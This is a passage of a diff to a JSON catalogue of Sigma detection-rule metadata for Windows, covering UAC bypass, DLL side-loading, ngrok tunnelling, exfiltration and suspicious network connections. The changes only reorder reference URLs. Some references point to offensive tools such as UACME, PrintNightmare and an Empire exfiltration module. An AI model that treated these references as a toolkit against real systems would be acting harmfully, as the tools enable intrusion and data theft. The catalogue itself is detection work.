], "tags": [ "attack.defense_evasion", @@ -24397,8 +24395,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -24422,8 +24420,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", + "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" ], "tags": [ @@ -24447,8 +24445,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/Wh04m1001/IDiagnosticProfileUAC", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml", + "https://github.com/Wh04m1001/IDiagnosticProfileUAC" ], "tags": [ "attack.execution", @@ -24473,8 +24471,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -24523,8 +24521,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -24548,8 +24546,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -24573,8 +24571,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -24598,8 +24596,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "PT ESC rule and personal experience", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml", + "PT ESC rule and personal experience" ], "tags": [ "attack.persistence", @@ -24672,8 +24670,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", - "https://twitter.com/vanitasnk/status/1437329511142420483?s=21", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml", + "https://twitter.com/vanitasnk/status/1437329511142420483?s=21" ], "tags": [ "attack.resource_development", @@ -24771,8 +24769,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_word_template_creation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_word_template_creation.yml", + "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies" ], "tags": [ "attack.persistence", @@ -24845,9 +24843,9 @@ "logsource.category": "file_rename", "logsource.product": "windows", "refs": [ - "https://twitter.com/ffforward/status/1481672378639912960", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml", + "https://twitter.com/ffforward/status/1481672378639912960" ], "tags": "No established tags" }, @@ -24867,8 +24865,8 @@ "logsource.category": "file_rename", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/", "https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/", + "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml" ], "tags": [ @@ -24892,8 +24890,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_abusing_azure_browser_sso.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_abusing_azure_browser_sso.yml", + "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30" ], "tags": [ "attack.defense_evasion", @@ -25067,9 +25065,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pcre_net_load.yml", "https://twitter.com/tifkin_/status/1321916444557365248", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pcre_net_load.yml" + "https://twitter.com/rbmaslen/status/1321859647091970051" ], "tags": [ "attack.execution", @@ -25092,9 +25090,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pingback_backdoor.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pingback_backdoor.yml", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel" ], "tags": [ "attack.persistence", @@ -25143,10 +25141,10 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://twitter.com/HunterPlaybook/status/1301207718355759107", "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_imageload_wmi_scripteventconsumer.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_imageload_wmi_scripteventconsumer.yml", + "https://twitter.com/HunterPlaybook/status/1301207718355759107", + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html" ], "tags": [ "attack.lateral_movement", @@ -25200,8 +25198,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml", + "https://hijacklibs.net/" ], "tags": [ "attack.defense_evasion", @@ -25227,8 +25225,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml", + "https://hijacklibs.net/" ], "tags": [ "attack.defense_evasion", @@ -25254,11 +25252,11 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://hijacklibs.net/", - "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml", "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml" + "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", + "https://hijacklibs.net/", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/" ], "tags": [ "attack.defense_evasion", @@ -25284,8 +25282,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml", + "https://hijacklibs.net/" ], "tags": [ "attack.defense_evasion", @@ -25311,8 +25309,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml", + "https://hijacklibs.net/" ], "tags": [ "attack.defense_evasion", @@ -25338,8 +25336,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_web_browsers.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_web_browsers.yml", + "https://hijacklibs.net/" ], "tags": [ "attack.defense_evasion", @@ -25365,8 +25363,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://github.com/byt3bl33d3r/SILENTTRINITY", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_silenttrinity_stage_use.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_silenttrinity_stage_use.yml", + "https://github.com/byt3bl33d3r/SILENTTRINITY" ], "tags": [ "attack.command_and_control", @@ -25389,9 +25387,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://github.com/hhlxf/PrintNightmare", "https://github.com/ly4k/SpoolFool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml", + "https://github.com/hhlxf/PrintNightmare" ], "tags": [ "attack.persistence", @@ -25418,8 +25416,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://github.com/hlldz/Phant0m", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_advapi32_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_advapi32_dll.yml", + "https://github.com/hlldz/Phant0m" ], "tags": [ "attack.defense_evasion", @@ -25664,8 +25662,8 @@ "logsource.product": "windows", "refs": [ "https://www.py2exe.org/", - "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml", + "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/" ], "tags": [ "attack.defense_evasion", @@ -25689,8 +25687,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/tyranid/DotNetToJScript", - "https://thewover.github.io/Introducing-Donut/", "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", + "https://thewover.github.io/Introducing-Donut/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" ], "tags": [ @@ -25740,8 +25738,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html" ], "tags": [ "attack.defense_evasion", @@ -25789,8 +25787,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add", "https://twitter.com/am0nsec/status/1412232114980982787", + "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_ps_load.yml" ], "tags": [ @@ -25839,8 +25837,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_svchost_dll_search_order_hijack.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_svchost_dll_search_order_hijack.yml", + "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992" ], "tags": [ "attack.persistence", @@ -25865,8 +25863,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://github.com/bats3c/EvtMute", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_sysmon_disable_sharpevtmute.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_sysmon_disable_sharpevtmute.yml", + "https://github.com/bats3c/EvtMute" ], "tags": [ "attack.defense_evasion", @@ -25889,10 +25887,10 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml", "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", "https://twitter.com/mattifestation/status/1196390321783025666", - "https://twitter.com/oulusoyum/status/1191329746069655553", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml" + "https://twitter.com/oulusoyum/status/1191329746069655553" ], "tags": [ "attack.defense_evasion", @@ -25917,9 +25915,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", "https://twitter.com/wdormann/status/1547583317410607110", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml", + "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC" ], "tags": [ "attack.defense_evasion", @@ -25943,8 +25941,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml", + "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility" ], "tags": [ "attack.persistence", @@ -25971,8 +25969,8 @@ "logsource.product": "windows", "refs": [ "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uipromptforcreds_dlls.yml" ], "tags": [ @@ -26046,8 +26044,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_vmware_xfer_load_dll_from_nondefault_path.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_vmware_xfer_load_dll_from_nondefault_path.yml", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/" ], "tags": [ "attack.defense_evasion", @@ -26072,9 +26070,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", - "https://twitter.com/dez_/status/986614411711442944", "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", + "https://twitter.com/dez_/status/986614411711442944", + "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" ], "tags": [ @@ -26124,8 +26122,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190811201010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load.yml", + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190811201010.html" ], "tags": [ "attack.execution", @@ -26172,11 +26170,11 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://twitter.com/chadtilbury/status/1275851297770610688", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml", "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", "https://github.com/bohops/WSMan-WinRM", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml" + "https://twitter.com/chadtilbury/status/1275851297770610688" ], "tags": [ "attack.execution", @@ -26204,8 +26202,8 @@ "refs": [ "https://twitter.com/M_haggis/status/900741347035889665", "https://twitter.com/M_haggis/status/1032799638213066752", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_github_com.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_github_com.yml", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1" ], "tags": [ "attack.lateral_movement", @@ -26256,8 +26254,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil" ], "tags": [ "attack.command_and_control", @@ -26280,8 +26278,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.poolwatch.io/coin/monero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining.yml", + "https://www.poolwatch.io/coin/monero" ], "tags": [ "attack.impact", @@ -26331,9 +26329,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/child-processes/", "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml", + "https://redcanary.com/blog/child-processes/" ], "tags": [ "attack.defense_evasion", @@ -26385,8 +26383,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://corelight.com/blog/detecting-cve-2021-42292", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml", + "https://corelight.com/blog/detecting-cve-2021-42292" ], "tags": [ "attack.execution", @@ -26409,9 +26407,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml", "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", - "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md" ], "tags": [ "attack.defense_evasion", @@ -26434,8 +26432,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download", "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml" ], "tags": [ @@ -26459,8 +26457,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml", + "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo" ], "tags": [ "attack.command_and_control", @@ -26483,9 +26481,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://megatools.megous.com/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml", "https://www.mandiant.com/resources/russian-targeting-gov-business", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml" + "https://megatools.megous.com/" ], "tags": [ "attack.exfiltration", @@ -26508,8 +26506,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml" ], "tags": [ @@ -26534,8 +26532,8 @@ "logsource.product": "windows", "refs": [ "https://ngrok.com/", - "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml", + "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/" ], "tags": [ "attack.exfiltration", @@ -26558,9 +26556,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://twitter.com/hakluke/status/1587733971814977537/photo/1", "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml", + "https://twitter.com/hakluke/status/1587733971814977537/photo/1" ], "tags": [ "attack.exfiltration", @@ -26590,8 +26588,8 @@ "logsource.product": "windows", "refs": [ "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf", - "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml", + "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/" ], "tags": [ "attack.command_and_control", @@ -26616,8 +26614,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.youtube.com/watch?v=DLtJTxMWZ2o", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml", + "https://www.youtube.com/watch?v=DLtJTxMWZ2o" ], "tags": [ "attack.execution", @@ -26641,8 +26639,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", - "https://pypi.org/project/scapy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml", + "https://pypi.org/project/scapy/" ], "tags": [ "attack.discovery", @@ -26665,8 +26663,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1096148422984384514", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml", + "https://twitter.com/SBousseaden/status/1096148422984384514" ], "tags": [ "attack.command_and_control", @@ -26693,8 +26691,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", - "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml", + "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling" ], "tags": [ "attack.command_and_control", @@ -26720,9 +26718,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml", "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml" + 